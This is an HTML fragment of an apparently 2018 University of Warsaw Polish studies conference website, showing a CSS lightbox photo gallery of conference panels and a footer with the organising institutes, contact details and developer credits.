GALLERY --> <div class="gallery"> <h1>Galeria</h1> <div> <input type="checkbox" id="pic-1" /> <label for="pic-1" class="lightbox"><img src="img/otwarcie_konferencji.JPG" /></label> <input type="checkbox" id="pic-2" /> <label for="pic-2" class="lightbox"><img src="img/jezyk_wsrod_ludzi_3.JPG" /></label> <input type="checkbox" id="pic-3" /> <label for="pic-3" class="lightbox"><img src="img/jezyk_wsrod_ludzi.JPG" /></label> <input type="checkbox" id="pic-4" /> <label for="pic-4" class="lightbox"><img src="img/jezyk_wsrod_ludzi_2.JPG" /></label> <input type="checkbox" id="pic-5" /> <label for="pic-5" class="lightbox"><img src= "img/otwarcie_konferencji_2.JPG"/></label> <input type="checkbox" id="pic-6" /> <label for="pic-6" class="lightbox"><img src="img/panel_prof_karas.jpg" /></label> <input type="checkbox" id="pic-7" /> <label for="pic-7" class="lightbox"><img src= "img/panel_prof_ulickiej_2.jpg"/></label> <input type="checkbox" id="pic-8" /> <label for="pic-8" class="lightbox"><img src="img/panel_prof_ulickiej.JPG" /></label> <input type="checkbox" id="pic-9" /> <label for="pic-9" class="lightbox"><img src="img/panel_prof_ulickiej_3.JPG" /></label> <input type="checkbox" id="pic-10" /> <label for="pic-10" class="lightbox"><img src= "img/panel_prof_wojcika_3.JPG"/></label> <input type="checkbox" id="pic-11" /> <label for="pic-11" class="lightbox"><img src="img/panel_prof_wojcika.JPG" /></label> <input type="checkbox" id="pic-12" /> <label for="pic-12" class="lightbox"><img src="img/panel_prof_ulickiej_4.JPG" /></label> <div class="grid"> <label for="pic-1" class="grid-item"><img src="img/otwarcie_konferencji.JPG" /></label> <label for="pic-2" class="grid-item"><img src= "img/jezyk_wsrod_ludzi_3.JPG"/></label> <label for="pic-3" class="grid-item"><img src="img/jezyk_wsrod_ludzi.JPG" /></label> <label for="pic-4" class="grid-item"><img src="img/jezyk_wsrod_ludzi_2.JPG" /></label> <label for="pic-5" class="grid-item"><img src="img/otwarcie_konferencji_2.JPG" /></label> <label for="pic-6" class="grid-item"><img src="img/panel_prof_karas.jpg" /></label> <label for="pic-7" class="grid-item"><img src= "img/panel_prof_ulickiej_2.jpg"/></label> <label for="pic-8" class="grid-item"><img src="img/panel_prof_ulickiej.JPG" /></label> <label for="pic-9" class="grid-item"><img src="img/panel_prof_ulickiej_3.JPG" /></label> <label for="pic-10" class="grid-item"><img src= "img/panel_prof_wojcika_3.JPG"/></label> <label for="pic-11" class="grid-item"><img src="img/panel_prof_wojcika.JPG" /></label> <label for="pic-12" class="grid-item"><img src="img/panel_prof_ulickiej_4.JPG" /></label> </div> <script> (function(i, s, o, g, r, a, m) { i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function() { (i[r].q = i[r].q || []).push(arguments) }, i[r].l = 1 * new Date(); a = s.createElement(o), m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m) })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga'); ga('create', 'UA-46156385-1', 'cssscript.com'); ga('send', 'pageview'); </script> </div> </div> <!-- <div class="decoration"></div> --> <div class="container footer"> <div class="organizers"> <h2>Organizatorzy</h2> <p><a href="http://ilp.uw.edu.pl/" target="_blank">Instytut Literatury Polskiej</a></p> <p><a href="http://ijp.uw.edu.pl/" target="_blank">Instytut Języka Polskiego</a></p> <p><a href="http://ikp.uw.edu.pl/" target="_blank">Instytut Kultury Polskiej</a></p> <p><a href="http://www.ips.polon.uw.edu.pl/" target="_blank">Instytut Polonistyki Stosowanej</a></p> <p><a href="http://www.polon.uw.edu.pl/" target="_blank">Wydział Polonistyki UW</a></p> </div> <div class="contact"> <h2>Kontakt</h2> <p>polonistyka200@uw.edu.pl</p> <p><a href="http://www.polon.uw.edu.pl/" target="_blank">Wydział Polonistyki UW</a></p> <p>Krakowskie Przedmieście 26/28</p> <p>00-927 Warszawa</p> </div> <div class="developer-credits"> <h2>Projekt i wykonanie strony</h2> <p>Maciej Kidawa, Przemysław Batorski</p> <p>© 2018 Maciej Kidawa, Przemysław Batorski</p> </div> </div> </div> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"> </script> <script type="text/javascript" src="js/scripts.js"></script> </body> </html>
Close
